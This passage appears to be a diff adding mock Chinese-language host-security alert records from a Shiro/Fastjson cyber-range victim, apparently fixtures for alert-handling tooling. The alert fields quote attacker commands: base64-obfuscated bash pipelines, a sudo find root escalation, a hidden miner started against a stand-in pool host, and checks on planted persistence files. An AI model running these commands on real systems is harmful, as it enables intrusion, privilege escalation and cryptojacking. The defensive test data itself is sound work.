        -[18000]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbm9odXAgL29wdC8uY2FjaGUvLmphdmEtdXBkYXRlciA+IC9kZXYvbnVsbCAyPiYxICYnIFw7}|{base64,-d}|bash

\n" + }, + { + "NameDisplay": "提示", + "Type": "text", + "Value": "该进程的命令行参数中存在编码,并且解码后的内容可疑", + "ValueDisplay": "该进程的命令行参数中存在编码,并且解码后的内容可疑" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行参数中存在编码,并且解码后的内容可疑。攻击者在植入恶意代码时,有可能会先进行编码。", + "ValueDisplay": "该进程的命令行参数中存在编码,并且解码后的内容可疑。攻击者在植入恶意代码时,有可能会先进行编码。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "可疑编码命令", + "HasTraceInfo": true, + "Id": 800000008, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "suspicious", + "Name": "进程异常行为-可疑编码命令", + "OccurrenceTime": "2026-04-15 13:33:20", + "Stages": "[\"防御绕过\"]" + }, + { + "AlarmEventName": "可疑进程启动行为", + "AlarmEventNameDisplay": "可疑进程启动", + "AlarmEventType": "精准防御", + "AlarmEventTypeDisplay": "精准防御", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "疑似病毒木马启动运行。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上发现可疑进程启动行为,通常与病毒木马或入侵事件相关", + "ValueDisplay": "在您的系统上发现可疑进程启动行为,通常与病毒木马或入侵事件相关" + }, + { + "NameDisplay": "ATT&CK攻击阶段", + "Type": "text", + "Value": "代码执行", + "ValueDisplay": "代码执行" + }, + { + "NameDisplay": "恶意行为", + "Type": "text", + "Value": "异常挖矿命令执行", + "ValueDisplay": "异常挖矿命令执行" + }, + { + "NameDisplay": "规则类型", + "Type": "text", + "Value": "进程启动", + "ValueDisplay": "进程启动" + }, + { + "NameDisplay": "规则引擎", + "Type": "text", + "Value": "精准攻击识别引擎", + "ValueDisplay": "精准攻击识别引擎" + }, + { + "NameDisplay": "处置动作", + "Type": "text", + "Value": "阻断行为", + "ValueDisplay": "阻断行为" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/sudo", + "ValueDisplay": "/usr/bin/sudo" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "sudo find /tmp -maxdepth 0 -exec bash -c chmod +x /opt/.cache/.java-updater && POOL_ADDR=stratum+tcp://pool.evil-example.invalid:3333 WALLET_ADDR=44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;", + "ValueDisplay": "sudo find /tmp -maxdepth 0 -exec bash -c chmod +x /opt/.cache/.java-updater && POOL_ADDR=stratum+tcp://pool.evil-example.invalid:3333 WALLET_ADDR=44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "17404", + "ValueDisplay": "17404" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "17403", + "ValueDisplay": "17403" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "主动防御检测到可疑进程启动行为,这类可疑进程通常存在于特殊的系统目录,或通过后缀伪装成文档/音频/图片等文件诱导用户运行,该异常行为已被成功拦截", + "ValueDisplay": "主动防御检测到可疑进程启动行为,这类可疑进程通常存在于特殊的系统目录,或通过后缀伪装成文档/音频/图片等文件诱导用户运行,该异常行为已被成功拦截" + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请您及时排查是否是正常的业务操作,如果您觉得此次拦截是非预期的,那您可以在主动防御 - 恶意行为防御页面中,关闭“可疑进程启动“规则集或者将受影响机器从管理主机中移除", + "ValueDisplay": "请您及时排查是否是正常的业务操作,如果您觉得此次拦截是非预期的,那您可以在主动防御 - 恶意行为防御页面中,关闭“可疑进程启动“规则集或者将受影响机器从管理主机中移除" + }, + { + "NameDisplay": "父进程关系", + "Type": "processChain", + "Value": "17403:::", + "ValueDisplay": "17403:::" + } + ], + "EventStatus": 32, + "EventSubType": "可疑进程启动行为", + "HasTraceInfo": true, + "Id": 800000011, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "精准防御-可疑进程启动", + "OccurrenceTime": "2026-04-15 13:41:34", + "Stages": "[\"代码执行\"]" + }, + { + "AlarmEventName": "疑似权限提升", + "AlarmEventNameDisplay": "疑似权限提升", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上有进程疑似利用系统、应用漏洞来获取更高的权限,可能是攻击者在入侵过程中进行的提权行为。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "检测到尝试提升到更高的权限", + "ValueDisplay": "检测到尝试提升到更高的权限" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "该命令疑似通过运行允许Sudo的程序,来获取root权限并执行恶意命令。", + "ValueDisplay": "该命令疑似通过运行允许Sudo的程序,来获取root权限并执行恶意命令。" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "17660", + "ValueDisplay": "17660" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "sudo find /tmp -maxdepth 0 -exec bash -c ls -la /opt/.cache/.java-updater /etc/systemd/system/java-app-monitor.service /etc/profile.d/java-env.sh /etc/sudoers.d/99-java-ops /etc/rc.d/rc.local > /opt/tomcat/webapps/ROOT/.v1.txt 2>&1 ;", + "ValueDisplay": "sudo find /tmp -maxdepth 0 -exec bash -c ls -la /opt/.cache/.java-updater /etc/systemd/system/java-app-monitor.service /etc/profile.d/java-env.sh /etc/sudoers.d/99-java-ops /etc/rc.d/rc.local > /opt/tomcat/webapps/ROOT/.v1.txt 2>&1 ;" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "17659", + "ValueDisplay": "17659" + }, + { + "NameDisplay": "父进程路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17656]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbHMgLWxhIC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgL2V0Yy9zeXN0ZW1kL3N5c3RlbS9qYXZhLWFwcC1tb25pdG9yLnNlcnZpY2UgL2V0Yy9wcm9maWxlLmQvamF2YS1lbnYuc2ggL2V0Yy9zdWRvZXJzLmQvOTktamF2YS1vcHMgL2V0Yy9yYy5kL3JjLmxvY2FsID4gL29wdC90b21jYXQvd2ViYXBwcy9ST09ULy52MS50eHQgMj4mMScgXDs=}|{base64,-d}|bash\n
            -[17659]  bash\n
                -[17660]  sudo find /tmp -maxdepth 0 -exec bash -c ls -la /opt/.cache/.java-updater /etc/systemd/system/java-app-monitor.service /etc/profile.d/java-env.sh /etc/sudoers.d/99-java-ops /etc/rc.d/rc.local > /opt/tomcat/webapps/ROOT/.v1.txt 2>&1 ;

\n", + "ValueDisplay": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17656]  bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgYmFzaCAtYyAnbHMgLWxhIC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgL2V0Yy9zeXN0ZW1kL3N5c3RlbS9qYXZhLWFwcC1tb25pdG9yLnNlcnZpY2UgL2V0Yy9wcm9maWxlLmQvamF2YS1lbnYuc2ggL2V0Yy9zdWRvZXJzLmQvOTktamF2YS1vcHMgL2V0Yy9yYy5kL3JjLmxvY2FsID4gL29wdC90b21jYXQvd2ViYXBwcy9ST09ULy52MS50eHQgMj4mMScgXDs=}|{base64,-d}|bash\n
            -[17659]  bash\n
                -[17660]  sudo find /tmp -maxdepth 0 -exec bash -c ls -la /opt/.cache/.java-updater /etc/systemd/system/java-app-monitor.service /etc/profile.d/java-env.sh /etc/sudoers.d/99-java-ops /etc/rc.d/rc.local > /opt/tomcat/webapps/ROOT/.v1.txt 2>&1 ;

\n" + }, + { + "NameDisplay": "事件说明", + "Type": "text", + "Value": "检测模型发现您的服务器上有进程疑似利用系统、应用漏洞来获取更高的权限,可能是攻击者在入侵过程中进行的提权行为。", + "ValueDisplay": "检测模型发现您的服务器上有进程疑似利用系统、应用漏洞来获取更高的权限,可能是攻击者在入侵过程中进行的提权行为。" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "检测到尝试特权提升的行为。攻击者通常在获取到低权限之后,会尝试提升到更高的权限。", + "ValueDisplay": "检测到尝试特权提升的行为。攻击者通常在获取到低权限之后,会尝试提升到更高的权限。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "疑似权限提升", + "HasTraceInfo": true, + "Id": 800000002, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "进程异常行为-疑似权限提升", + "OccurrenceTime": "2026-04-15 13:43:56", + "Stages": "[\"权限提升\"]" + }, + { + "AlarmEventName": "可疑进程启动行为", + "AlarmEventNameDisplay": "可疑进程启动", + "AlarmEventType": "精准防御", + "AlarmEventTypeDisplay": "精准防御", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "疑似病毒木马启动运行。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上发现可疑进程启动行为,通常与病毒木马或入侵事件相关", + "ValueDisplay": "在您的系统上发现可疑进程启动行为,通常与病毒木马或入侵事件相关" + }, + { + "NameDisplay": "ATT&CK攻击阶段", + "Type": "text", + "Value": "代码执行", + "ValueDisplay": "代码执行" + }, + { + "NameDisplay": "恶意行为", + "Type": "text", + "Value": "异常挖矿命令执行", + "ValueDisplay": "异常挖矿命令执行" + }, + { + "NameDisplay": "规则类型", + "Type": "text", + "Value": "进程启动", + "ValueDisplay": "进程启动" + }, + { + "NameDisplay": "规则引擎", + "Type": "text", + "Value": "精准攻击识别引擎", + "ValueDisplay": "精准攻击识别引擎" + }, + { + "NameDisplay": "处置动作", + "Type": "text", + "Value": "阻断行为", + "ValueDisplay": "阻断行为" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/sudo", + "ValueDisplay": "/usr/bin/sudo" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "sudo find /tmp -maxdepth 0 -exec bash -c chmod +x /opt/.cache/.java-updater && POOL_ADDR=stratum+tcp://pool.evil-example.invalid:3333 WALLET_ADDR=44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;", + "ValueDisplay": "sudo find /tmp -maxdepth 0 -exec bash -c chmod +x /opt/.cache/.java-updater && POOL_ADDR=stratum+tcp://pool.evil-example.invalid:3333 WALLET_ADDR=44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft nohup /opt/.cache/.java-updater > /dev/null 2>&1 & ;" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "17875", + "ValueDisplay": "17875" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "17874", + "ValueDisplay": "17874" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "主动防御检测到可疑进程启动行为,这类可疑进程通常存在于特殊的系统目录,或通过后缀伪装成文档/音频/图片等文件诱导用户运行,该异常行为已被成功拦截", + "ValueDisplay": "主动防御检测到可疑进程启动行为,这类可疑进程通常存在于特殊的系统目录,或通过后缀伪装成文档/音频/图片等文件诱导用户运行,该异常行为已被成功拦截" + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请您及时排查是否是正常的业务操作,如果您觉得此次拦截是非预期的,那您可以在主动防御 - 恶意行为防御页面中,关闭“可疑进程启动“规则集或者将受影响机器从管理主机中移除", + "ValueDisplay": "请您及时排查是否是正常的业务操作,如果您觉得此次拦截是非预期的,那您可以在主动防御 - 恶意行为防御页面中,关闭“可疑进程启动“规则集或者将受影响机器从管理主机中移除" + }, + { + "NameDisplay": "父进程关系", + "Type": "processChain", + "Value": "17874:::", + "ValueDisplay": "17874:::" + } + ], + "EventStatus": 32, + "EventSubType": "可疑进程启动行为", + "HasTraceInfo": true, + "Id": 800000010, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "精准防御-可疑进程启动", + "OccurrenceTime": "2026-04-15 13:47:25", + "Stages": "[\"代码执行\"]" + }, + { + "AlarmEventName": "Java应用执行异常指令", + "AlarmEventNameDisplay": "Java应用执行异常指令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上的Java进程启动了下载恶意程序、添加后门等高危行为,很可能是因为您使用了存在漏洞的Web框架或者中间件导致。", + "Details": [ + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 该Java进程被利用执行异常命令。\n \n", + "ValueDisplay": " 该Java进程被利用执行异常命令。\n \n" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "bash -c {echo,bHMgLWxhIC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgPiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4mMTsgcHMgYXV4IHwgZ3JlcCBqYXZhLXVwZGF0ZXIgfCBncmVwIC12IGdyZXAgPj4gL29wdC90b21jYXQvd2ViYXBwcy9ST09ULy5jaGsudHh0IDI+JjE7IGNhdCAvb3B0Ly5jYWNoZS8uamF2YS11cGRhdGVyLmxvZyA+PiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4vZGV2L251bGw=}|{base64,-d}|bash", + "ValueDisplay": "bash -c {echo,bHMgLWxhIC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgPiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4mMTsgcHMgYXV4IHwgZ3JlcCBqYXZhLXVwZGF0ZXIgfCBncmVwIC12IGdyZXAgPj4gL29wdC90b21jYXQvd2ViYXBwcy9ST09ULy5jaGsudHh0IDI+JjE7IGNhdCAvb3B0Ly5jYWNoZS8uamF2YS11cGRhdGVyLmxvZyA+PiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4vZGV2L251bGw=}|{base64,-d}|bash" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "/usr/bin/bash", + "ValueDisplay": "/usr/bin/bash" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "17890", + "ValueDisplay": "17890" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java", + "ValueDisplay": "/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.412.b08-1.el7_9.x86_64/bin/java" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4189", + "ValueDisplay": "4189" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17890]  bash -c {echo,bHMgLWxhIC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgPiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4mMTsgcHMgYXV4IHwgZ3JlcCBqYXZhLXVwZGF0ZXIgfCBncmVwIC12IGdyZXAgPj4gL29wdC90b21jYXQvd2ViYXBwcy9ST09ULy5jaGsudHh0IDI+JjE7IGNhdCAvb3B0Ly5jYWNoZS8uamF2YS11cGRhdGVyLmxvZyA+PiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4vZGV2L251bGw=}|{base64,-d}|bash

\n", + "ValueDisplay": "

-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n
    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
        -[17890]  bash -c {echo,bHMgLWxhIC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgPiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4mMTsgcHMgYXV4IHwgZ3JlcCBqYXZhLXVwZGF0ZXIgfCBncmVwIC12IGdyZXAgPj4gL29wdC90b21jYXQvd2ViYXBwcy9ST09ULy5jaGsudHh0IDI+JjE7IGNhdCAvb3B0Ly5jYWNoZS8uamF2YS11cGRhdGVyLmxvZyA+PiAvb3B0L3RvbWNhdC93ZWJhcHBzL1JPT1QvLmNoay50eHQgMj4vZGV2L251bGw=}|{base64,-d}|bash

\n" + }, + { + "NameDisplay": "提示", + "Type": "text", + "Value": "Java应用程序创建了异常的子进程", + "ValueDisplay": "Java应用程序创建了异常的子进程" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "Java应用程序创建了异常的子进程,通常Java应用不会创建这些进程。这有可能是攻击者利用应用存在的漏洞执行命令所导致的,也有可能是应用本身的行为。建议根据实际情况进一步判断告警的真实性。", + "ValueDisplay": "Java应用程序创建了异常的子进程,通常Java应用不会创建这些进程。这有可能是攻击者利用应用存在的漏洞执行命令所导致的,也有可能是应用本身的行为。建议根据实际情况进一步判断告警的真实性。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n", + "ValueDisplay": "
    \n
  1. 首先验证告警的准确性。根据告警中的IOC(例如命令行,文件路径、网络等)结合机器上的异常行为或其他告警,判断告警是否为误报。如果是则忽略或加白该告警;如果不是则及时进行处置,避免恶意行为产生进一步的影响。
  2. \n
  3. 调查告警的产生根因。根据告警详情或其他告警的事件说明,还原机器被入侵的原因,修复相关漏洞或清理相关后门,防止攻击者的二次入侵。
  4. \n
\n" + } + ], + "EventStatus": 1, + "EventSubType": "Java应用执行异常指令", + "HasTraceInfo": true, + "Id": 800000007, + "InstanceId": "i-mock-shiro-fastjson-001", + "InstanceName": "range-shiro-fastjson-victim", + "InternetIp": "172.18.0.2", + "IntranetIp": "172.16.0.100", + "Level": "suspicious", + "Name": "进程异常行为-Java应用执行异常指令", + "OccurrenceTime": "2026-04-15 13:48:07", + "Stages": "[\"初始入口\"]" + }, + { + "AlarmEventName": "linux可疑命令执行", + "AlarmEventNameDisplay": "可疑命令执行", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "", + "CanBeDealOnLine": true, + "DataSource": "aegis_suspicious_event", + "Desc": "检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "该进程的命令行异常,与正常进程有较大的区别。", + "ValueDisplay": "该进程的命令行异常,与正常进程有较大的区别。" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n ", + "ValueDisplay": "\t\t 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。\n " + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "tomcat", + "ValueDisplay": "tomcat" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash", + "ValueDisplay": "bash -c {echo,c3VkbyBmaW5kIC90bXAgLW1heGRlcHRoIDAgLWV4ZWMgY2htb2QgNzU1IC9vcHQvLmNhY2hlLy5qYXZhLXVwZGF0ZXIgXDs=}|{base64,-d}|bash" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "17982", + "ValueDisplay": "17982" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4189", + "ValueDisplay": "4189" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "
-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
\n", + "ValueDisplay": "
-[4182]  /bin/sh /opt/tomcat/bin/catalina.sh start\n    -[4189]  /usr/lib/jvm/java-1.8.0-openjdk/bin/java -Djava.util.logging.config.file=/opt/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temp org.apache.catalina.startup.Bootstrap start\n
\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。", + "ValueDisplay": "该进程的命令行与正常进程有较大的区别,有可能与恶意软件或黑客有关。" + }, + { + "NameDisplay": "处置建议", + "Type": "html", + "Value": "
    \n
